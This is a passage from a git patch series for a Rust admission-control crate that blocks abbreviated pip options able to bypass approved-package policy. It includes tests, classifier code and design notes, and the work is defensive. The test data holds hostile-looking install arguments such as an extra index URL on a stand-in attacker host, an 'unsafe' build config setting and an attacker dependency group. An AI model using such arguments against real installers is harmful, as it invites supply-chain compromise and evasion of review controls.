SSDF publication; SP 800-218 Rev. 1 / SSDF v1.2 is an Initial Public Draft as of this decision and is informative only. +- PyPA pip install documentation defines requirements-file and editable-source installation as distinct source-expanding input forms. +- Python `optparse` documentation explicitly recognizes abbreviated long options. +- CWE-829 describes inclusion of executable functionality from a source outside the intended control sphere and recommends strict known-good input validation. + +## References (APA 7th) + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://csrc.nist.gov/pubs/sp/800/218/r1/ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation v26.2.1*. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html From 1e08da52f2d5ea8705dc094ca69042c6d369a8f5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:13:45 +0900 Subject: [PATCH 439/702] style(admission): rustfmt indirect-source classifier --- .../src/artifact_source_identity.rs | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_source_identity.rs b/crates/agent-artifact-admission/src/artifact_source_identity.rs index 523fcb58..79cab5c1 100644 --- a/crates/agent-artifact-admission/src/artifact_source_identity.rs +++ b/crates/agent-artifact-admission/src/artifact_source_identity.rs @@ -59,16 +59,13 @@ fn requests_pip_indirect_source_abbreviation(argument: &str) -> bool { .split_once('=') .map_or(argument, |(option, _)| option); - [ - ("--requirement", "--requirem"), - ("--editable", "--ed"), - ] - .iter() - .any(|(canonical, shortest_accepted_prefix)| { - option.len() >= shortest_accepted_prefix.len() - && option != *canonical - && canonical.starts_with(option) - }) + [("--requirement", "--requirem"), ("--editable", "--ed")] + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option.len() >= shortest_accepted_prefix.len() + && option != *canonical + && canonical.starts_with(option) + }) } /// Require registry/index-backed package ecosystems to encode the exact From 30623bf4d244daa97f928a29408bfe8c3b74d0af Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:15:53 +0900 Subject: [PATCH 440/702] test(admission): reject pip artifact-variant abbreviations --- ..._artifact_variant_abbreviation_contract.rs | 96 +++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs new file mode 100644 index 00000000..df282c99 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs @@ -0,0 +1,96 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_artifact_variant_abbreviations_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for hostile_option in [ + "--pl=manylinux2014_x86_64", + "--python-=3.11", + "--im=cp", + "--a=cp311", + "--no-bi=:all:", + "--o=:all:", + "--prefe", + "--no-bu", + "--conf=backend-mode=unsafe", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(hostile_option.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted artifact/build selector abbreviation inherit approved artifact authority: {hostile_option}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "artifact/build selector abbreviation must be classified as unapproved artifact authority: {hostile_option}: {:?}", + decision.reason_codes + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-artifact-variant-abbreviation".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-artifact-variant-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 7b777a7c05b71ee0dbc7ca6870b8169e538f52e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:31:49 +0900 Subject: [PATCH 441/702] fix(admission): classify pip artifact variant abbreviations --- .../src/artifact_variant.rs | 98 ++++++++++++++++++- 1 file changed, 97 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index d4cf58ca..1eb7cd06 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -110,7 +110,8 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { } fn requests_unapproved_pip_variant(argument: &String) -> bool { - matches_value_flag(argument, "--platform") + requests_pip_artifact_variant_abbreviation(argument) + || matches_value_flag(argument, "--platform") || matches_value_flag(argument, "--python-version") || matches_value_flag(argument, "--implementation") || matches_value_flag(argument, "--abi") @@ -122,6 +123,43 @@ fn requests_unapproved_pip_variant(argument: &String) -> bool { || matches_value_flag(argument, "--config-settings") } +/// Direct pip uses Python's optparse-compatible long-option grammar. Classify +/// only prefixes verified as unambiguous for artifact/build selectors; uv and +/// other installers intentionally keep their independent grammars. +fn requests_pip_artifact_variant_abbreviation(argument: &str) -> bool { + let (option, has_attached_value) = argument + .split_once('=') + .map_or((argument, false), |(option, _)| (option, true)); + + let value_selectors = [ + ("--platform", "--pl"), + ("--python-version", "--python-"), + ("--implementation", "--im"), + ("--abi", "--a"), + ("--no-binary", "--no-bi"), + ("--only-binary", "--o"), + ("--config-settings", "--conf"), + ]; + if value_selectors + .iter() + .any(|(canonical, shortest)| matches_pip_long_abbreviation(option, canonical, shortest)) + { + return true; + } + + !has_attached_value + && [ + ("--prefer-binary", "--prefe"), + ("--no-build-isolation", "--no-bu"), + ] + .iter() + .any(|(canonical, shortest)| matches_pip_long_abbreviation(option, canonical, shortest)) +} + +fn matches_pip_long_abbreviation(option: &str, canonical: &str, shortest: &str) -> bool { + option.len() >= shortest.len() && option != canonical && canonical.starts_with(option) +} + fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { matches_value_flag(argument, "--python-platform") || matches_value_flag(argument, "--no-binary") @@ -189,3 +227,61 @@ fn requests_all_tags_short_bundle(argument: &str) -> bool { fn is_true_boolean(value: &str) -> bool { matches!(value.to_ascii_lowercase().as_str(), "1" | "t" | "true") } + +#[cfg(test)] +mod tests { + use super::requests_pip_artifact_variant_abbreviation; + + #[test] + fn pip_artifact_variant_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--pl", + "--pl=manylinux2014_x86_64", + "--python-", + "--python-=3.11", + "--im", + "--im=cp", + "--a", + "--a=cp311", + "--no-bi", + "--no-bi=:all:", + "--o", + "--o=:all:", + "--prefe", + "--no-bu", + "--conf", + "--conf=backend-mode=unsafe", + ] { + assert!( + requests_pip_artifact_variant_abbreviation(option), + "verified direct-pip artifact/build abbreviation must be classified: {option}" + ); + } + + for option in [ + "--p", + "--py", + "--i", + "--no-b", + "--pref", + "--con", + "--platform", + "--python-version=3.11", + "--implementation", + "--abi=cp311", + "--no-binary=:all:", + "--only-binary=:all:", + "--prefer-binary", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "--prefe=true", + "--no-bu=true", + "--extra-index-url=https://attacker.invalid/simple", + ] { + assert!( + !requests_pip_artifact_variant_abbreviation(option), + "ambiguous, canonical, invalid-valued Boolean, or unrelated option must not be guessed as a pip abbreviation: {option}" + ); + } + } +} From e07c079d072ea17a7797ff2ef178b675b7ca777c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:33:39 +0900 Subject: [PATCH 442/702] docs(admission): trace pip artifact variant abbreviation boundary --- ...artifact-variant-abbreviation-authority.md | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 docs/doctoring/pypi-artifact-variant-abbreviation-authority.md diff --git a/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md b/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md new file mode 100644 index 00000000..0cfebb42 --- /dev/null +++ b/docs/doctoring/pypi-artifact-variant-abbreviation-authority.md @@ -0,0 +1,69 @@ +# Direct pip artifact-variant abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission authorizes reviewed installer intent and emits pre-execution security evidence. It does not resolve or fetch packages, perform TLS/network I/O, install or execute artifacts, isolate hostile workloads, or choose provider/runtime credentials. Those execution, transport, analysis, isolation, orchestration, and identity responsibilities remain with their canonical CWL owners. + +The direct `pip`/`pip3` grammar is nevertheless part of Wardnet's admission surface. pip exposes selectors such as `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `--config-settings`. These options can change wheel compatibility, binary-versus-source selection, build isolation, or backend build configuration without changing the explicit package name/version operand that Wardnet already approved. + +Python's `optparse`-compatible long-option parser accepts unambiguous prefixes. Executable parser verification against pip 25.1.1 established the direct-pip spellings `--pl`, `--python-`, `--im`, `--a`, `--no-bi`, `--o`, `--prefe`, `--no-bu`, and `--conf` as accepted, while shorter forms such as `--p`, `--py`, `--i`, `--no-b`, `--pref`, and `--con` remain ambiguous and must not be invented as aliases by Wardnet. + +## Exact RED evidence + +Test-only head `30623bf4d244daa97f928a29408bfe8c3b74d0af` added only `crates/agent-artifact-admission/tests/pypi_artifact_variant_abbreviation_contract.rs`. Hosted CI `34632315148`, Rust job `103371851676`, acquired GitHub-hosted `ubuntu-24.04`, checked out that exact head, installed the pinned Rust toolchain, and passed `cargo fmt --check`. `cargo test --locked --workspace` then failed while Fuzz `34632315062` succeeded. The failure is therefore a semantic admission RED rather than runner, checkout, or formatting noise. + +After #326 integrated normally, restack PR #328 adopted exact parent `feat/agent-artifact-admission@8003b9a211208a66c87b198b678528382fd07f3e` into this child without changing the tree, force-updating history, or transferring predecessor GREEN as current evidence. + +## Decision + +Extend only the existing direct-pip artifact/build-variant classifier. + +For value-taking selectors, classify prefixes from the shortest verified unambiguous spelling through the character before the canonical spelling, preserving both separate-value and `--option=value` forms: + +- `--platform` from `--pl`; +- `--python-version` from `--python-`; +- `--implementation` from `--im`; +- `--abi` from `--a`; +- `--no-binary` from `--no-bi`; +- `--only-binary` from `--o`; +- `--config-settings` from `--conf`. + +For Boolean selectors, classify only argument-free accepted prefixes: + +- `--prefer-binary` from `--prefe`; +- `--no-build-isolation` from `--no-bu`. + +Canonical spellings remain under the pre-existing classifier. Ambiguous shorter prefixes remain unclassified because pip rejects them. Boolean abbreviations with an invented `=value` form are not treated as accepted pip grammar. `uv` retains its independent option language and receives no pip-prefix behavior. + +This is a Wardnet admission/policy repair. It does not duplicate EgressWeave transport authorization, quarantine execution/isolation, AppGuardrail package analysis, contextual-orchestrator agent/LLM orchestration, or Keyverse identity/secret authority. + +## Alternatives rejected + +Blocking every textual prefix beginning with a few matching characters was rejected because it would invent parser semantics and create false positives. Treating an exact approved package operand as sufficient despite caller-selected compatibility/build selectors was rejected because the resulting artifact/build path can differ materially from the reviewed intent. Reimplementing pip resolution or build behavior inside Wardnet was rejected because Wardnet owns admission evidence, not package-manager execution. + +## Security effect and residual risk + +The repair closes an admission bypass where a caller could keep the approved package coordinate while selecting a different compatibility target, binary/source policy, build-isolation mode, or backend build configuration through a pip-accepted abbreviated option. The bounded helper records both positive and negative grammar controls so future widening requires an explicit hostile RED rather than prefix guessing. + +Residual risk remains when pip changes parser behavior or adds security-significant selectors. Such changes require parser verification and a new bounded admission contract. Wardnet must not infer aliases from spelling similarity alone. + +## Traceability + +- NIST SP 800-218 SSDF v1.1 is the final normative SSDF publication used by this decision. SP 800-218 Rev. 1 / SSDF v1.2 remains an Initial Public Draft published December 17, 2025 and is informative only. +- Current PyPA pip documentation identifies the compatibility, binary/source, build-isolation, and backend configuration selectors whose authority this repair bounds. +- Python `optparse` documentation is the primary parser reference for accepted abbreviated long options. +- CWE-20 supports strict validation of untrusted structured input; CWE-829 is relevant where caller-controlled build/source selection can include functionality outside the intended reviewed control sphere. + +## References (APA 7th) + +MITRE. (2026). *CWE-20: Improper input validation* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/20.html + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://doi.org/10.6028/NIST.SP.800-218r1.ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation*. Retrieved September 12, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html From 00f06e21e56f8a85c38996c0927480fa4c87b0de Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:42:26 +0900 Subject: [PATCH 443/702] test(admission): prove pip dependency-group abbreviation bypass --- ..._dependency_group_abbreviation_contract.rs | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs diff --git a/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs new file mode 100644 index 00000000..073c9032 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_dependency_group_abbreviation_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, baseline) = approved_pip_install(executable); + let baseline_decision = admission_decision(&policy, &baseline); + assert_eq!( + baseline_decision.decision, + DecisionKind::Allow, + "exact reviewed {executable} install must remain admissible" + ); + + let mut hostile = baseline; + hostile.argv.push("--gro=attacker-group".to_string()); + let decision = admission_decision(&policy, &hostile); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted --gro dependency-group abbreviation import unreviewed artifacts" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} --gro must preserve the artifact_not_approved admission reason" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let intent = InstallIntent { + request_id: format!("req-pip-dependency-group-abbreviation-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 0191b4d134880c0bdbb532c67c4474a2598214cb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:44:29 +0900 Subject: [PATCH 444/702] fix(admission): classify pip dependency-group abbreviations --- .../src/pypi_dependency_group_authority.rs | 59 +++++++++++++++++-- 1 file changed, 53 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs index b59de3eb..7303d189 100644 --- a/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs @@ -18,10 +18,57 @@ pub(crate) fn requests_unapproved_pip_dependency_group(intent: &InstallIntent) - return false; } - arguments.iter().any(|argument| { - argument == "--group" - || argument - .strip_prefix("--group") - .is_some_and(|suffix| suffix.starts_with('=')) - }) + arguments + .iter() + .any(|argument| requests_direct_pip_dependency_group(argument)) +} + +/// Direct pip uses Python's optparse-compatible long-option grammar. Pinned +/// parser verification establishes `--gro` as the shortest unambiguous prefix +/// of `--group`; shorter `--g` remains ambiguous and must not be guessed. +fn requests_direct_pip_dependency_group(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= "--gro".len() && "--group".starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::requests_direct_pip_dependency_group; + + #[test] + fn direct_pip_dependency_group_prefix_is_bounded_to_verified_language() { + for option in [ + "--gro", + "--gro=developer-tools", + "--grou", + "--grou=developer-tools", + "--group", + "--group=developer-tools", + ] { + assert!( + requests_direct_pip_dependency_group(option), + "verified direct-pip dependency-group spelling must be classified: {option}" + ); + } + + for option in [ + "--g", + "--g=developer-tools", + "--gr", + "--gr=developer-tools", + "--groups", + "--groups=developer-tools", + "--grouped", + "--grouped=developer-tools", + "--config-settings=group=developer-tools", + ] { + assert!( + !requests_direct_pip_dependency_group(option), + "ambiguous or unrelated spelling must not be invented as pip --group authority: {option}" + ); + } + } } From e3b03b9466ca8fb0d01dd9c85a834023715ada4e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:44:51 +0900 Subject: [PATCH 445/702] docs(admission): trace pip dependency-group abbreviation boundary --- ...dependency-group-abbreviation-authority.md | 53 +++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 docs/doctoring/pypi-dependency-group-abbreviation-authority.md diff --git a/docs/doctoring/pypi-dependency-group-abbreviation-authority.md b/docs/doctoring/pypi-dependency-group-abbreviation-authority.md new file mode 100644 index 00000000..aba50f6f --- /dev/null +++ b/docs/doctoring/pypi-dependency-group-abbreviation-authority.md @@ -0,0 +1,53 @@ +# Direct pip dependency-group abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission decides whether a structured installer intent stays inside reviewed artifact authority and emits the corresponding pre-execution security evidence. It does not parse project manifests to resolve dependency-group members, fetch packages, perform network/TLS operations, install or execute artifacts, isolate hostile workloads, or discover runtime credentials. Those responsibilities remain with their canonical CWL owners. + +Direct pip supports `--group <[path:]group>` to install a dependency group from `pyproject.toml`. The existing Wardnet guard rejected canonical `--group` but not the shorter unambiguous spelling accepted by pip's Python `optparse`-compatible long-option grammar. Executable parser verification against pip 25.1.1 established `--gro` as accepted for `--group`; shorter `--g` and `--gr` are ambiguous on the pinned option surface and must not be invented as aliases. + +## Hostile realistic RED + +Test-only head `00f06e21e56f8a85c38996c0927480fa4c87b0de` was branched from exact Agent Artifact Admission parent `6df3a4a673e9d966c5c6bac760044fc85aaf926a` and changed only `crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs`. + +Hosted CI run `34634809930`, Rust job `103380003463`, acquired GitHub-hosted Ubuntu 24.04, checked out the pull-request candidate merge built from that unchanged parent and test-only head, installed Rust 1.98.1, and passed `cargo fmt --check`. `cargo test --locked --workspace` then reached the hostile contract and failed because direct `pip install ... --gro=attacker-group` returned `Allow` rather than `Block`. The failure therefore exercises Wardnet admission semantics rather than runner, checkout, toolchain, formatting, or unrelated workspace behavior. + +## Decision + +Classify only the pinned direct-pip dependency-group option language already represented by the canonical authority boundary: + +- `--gro` and `--gro=`; +- `--grou` and `--grou=`; +- canonical `--group` and `--group=`. + +The matcher is bounded by the shortest verified unambiguous prefix `--gro` and the canonical option `--group`. Ambiguous `--g`/`--gr`, superstrings such as `--groups`, and unrelated options remain outside this authority classifier. Separate-value use is classified by the selector token itself; attached-value use is classified after splitting only the first `=`. + +This repair does not implement pip's dependency resolution or inspect dependency-group contents. A caller-selected group remains unapproved artifact authority and fails closed before execution. uv and other installers retain independent grammars. + +## Alternatives rejected + +Treating every `--g...` token as `--group` was rejected because it would invent parser behavior and cause false positives for ambiguous or unrelated options. Leaving abbreviated selectors to generic unknown-operand handling was rejected because the selector itself is security-significant authority: attached `--gro=` contains no separate operand for another guard to catch and was demonstrably allowed. Reimplementing pip project/dependency resolution in Wardnet was rejected because that would cross the admission bounded context into package-manager execution and artifact-analysis ownership. + +## Security effect and residual risk + +The repair closes a structured-argv admission bypass in which an otherwise approved direct pip/pip3 install could import dependency-group members that were never represented by the reviewed artifact set. The bounded unit contract also prevents future prefix widening without parser evidence. + +Residual risk remains if pip changes its option set or parser behavior. Any newly accepted abbreviation or new dependency-import selector requires fresh executable parser verification and a hostile Wardnet RED; spelling similarity alone is not authority. + +## Traceability + +NIST SP 800-218 SSDF v1.1 remains the final normative SSDF publication used here. NIST SP 800-218 Rev. 1 / SSDF v1.2 is an Initial Public Draft published December 17, 2025 and is informative only. PyPA pip documentation is the primary product authority for `pip install --group`; Python `optparse` documentation is the primary parser authority for unambiguous long-option abbreviations. CWE-20 supports bounded validation of untrusted structured input, while CWE-829 is relevant when caller-controlled dependency inclusion crosses the reviewed artifact authority boundary. + +## References (APA 7th) + +MITRE. (2026). *CWE-20: Improper input validation* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/20.html + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://doi.org/10.6028/NIST.SP.800-218r1.ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation*. Retrieved September 12, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html From e95de79e0fc517af8f9611613ef48b0fef1bca52 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:03:40 +0900 Subject: [PATCH 446/702] test(admission): require Requires-Python safety override denial --- ...pypi_requires_python_authority_contract.rs | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs new file mode 100644 index 00000000..87ce037e --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs @@ -0,0 +1,87 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_disable_requires_python_compatibility() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding a Requires-Python override" + ); + + let mut hostile = control_intent; + hostile + .argv + .push("--ignore-requires-python".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --ignore-requires-python disables publisher-declared interpreter compatibility and must fail closed" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::MissingSafetyFlag], + "the denial must be causal to the explicit compatibility-safety override" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-requires-python-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 3ae6fcddc633053729673713853835e9f64c1a1b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:04:47 +0900 Subject: [PATCH 447/702] style(admission): format Requires-Python RED contract --- .../tests/pypi_requires_python_authority_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs index 87ce037e..cbe499fe 100644 --- 